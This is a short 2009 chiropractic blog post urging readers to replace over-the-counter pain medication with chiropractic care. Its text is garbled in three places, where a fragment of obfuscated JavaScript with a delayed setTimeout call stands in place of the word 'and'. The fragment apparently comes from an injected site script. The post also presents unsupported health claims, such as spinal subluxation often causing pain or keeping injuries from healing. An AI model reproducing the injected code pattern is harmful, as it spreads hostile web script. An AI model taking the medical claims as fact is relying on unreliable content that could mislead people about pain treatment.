Over the Counter (OTC) Pain Medications

Posted On : April 09, 2009
OTC pain medications or chiropractic care?

“Take an aspirin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and call me in the morning.” Pain medication ads are everywhere touting relief for everything. This has resulted in an over-medicated society that is actually making us feel worse, rather than better. Many new patients at FLC tell the same story, “I used to take aspirin a couple times a day, now I never take it since being under chiropractic care.”

Pain is an amazing warning system that alerts us when our body is injured. Unfortunately, most of us have been “trained” to take OTC pain meds to disable this system so we can go on with our day, pain-free. They “hide” the pain, but do not address its cause. This action is quite similar to taking the batteries out of the smoke detector during a fire. Pain is carried, by our nervous system, from the injury site to our brains so that we can take action (e.g. removing your handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from a hot stove). Since the spine protects the central nervous system, often a subluxated spine is the cause of pain or the reason injuries aren’t healing. The most important thing you can do for yourself, or a loved one who takes OTC pain medication, is to get your spine checked.

Change your life for the better andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and visit a Chiropractor!

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